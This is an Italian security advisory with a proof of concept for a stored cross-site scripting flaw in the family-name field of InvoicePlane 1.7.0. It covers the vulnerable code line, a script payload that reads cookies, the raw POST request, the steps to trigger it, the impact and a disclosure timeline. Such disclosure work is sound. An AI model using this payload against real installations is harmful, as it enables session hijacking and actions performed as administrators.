
# Proof-of-concept di XSS persistente per InvoicePlane 1.7.0 tramite il campo del cognome, inclusi payload, richiesta e analisi dell'impatto per ricerca difensiva.
Vulnerabilità: Cross-Site Scripting (XSS) persistente tramite il campo Family Name
Prodotto: InvoicePlane
Versione interessata: 1.7.0 (e probabilmente versioni precedenti)
Gravità: Media
Punteggio CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web
Scoperta da: Leonidas Agathos
Data del report: 2026-01-31
Il campo family_name nel modulo delle famiglie di prodotti (/index.php/families/form) accetta input arbitrario senza sanificazione. Il valore viene memorizzato nel database e successivamente renderizzato senza codifica nel menu a tendina delle famiglie nella pagina di creazione/modifica prodotto, causando l'esecuzione di JavaScript per qualsiasi amministratore che visiti il modulo prodotto.
File vulnerabile: application/modules/products/views/form.php:40
// Linea 40
><?php echo $family->family_name; ?></option>
Passaggio 1 — Iniettare il payload nel campo Family Name
Navigare su /index.php/families/form e inviare quanto segue come Family Name:
<script>alert('domain:'+document.domain+'cookies:'+document.cookie)</script>
Richiesta:
POST /index.php/families/form HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=0&family_name=%3Cscript%3Ealert%28document.cookies%29%3C%2Fscript%3E

Passaggio 2 — Attivare l'XSS
Navigare su /index.php/products/form. Il payload viene eseguito quando viene renderizzato il menu a tendina delle famiglie.

Qualsiasi amministratore che visiti la pagina di creazione o modifica prodotto vedrà il payload eseguirsi nel proprio browser. Ciò consente il dirottamento della sessione (se i cookie non sono HttpOnly), il furto del token CSRF e azioni eseguite sotto l'identità della vittima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilità scoperta |
| 2026-01-31 | Prova di concetto sviluppata |
| 2026-01-31 | Venditore notificato |
| 2026-02-04 | Riconoscimento da parte del venditore |
| 2026-02-04 | Patch rilasciata |
| 2026-02-05 | Divulgazione pubblica |
Questa vulnerabilità è stata scoperta durante una ricerca di sicurezza indipendente. Tutte le informazioni sono fornite esclusivamente a scopo educativo, di ricerca e difensivo per assistere il venditore e la comunità della sicurezza nella comprensione e nella risoluzione del problema. Qualsiasi uso dannoso di queste informazioni è severamente vietato.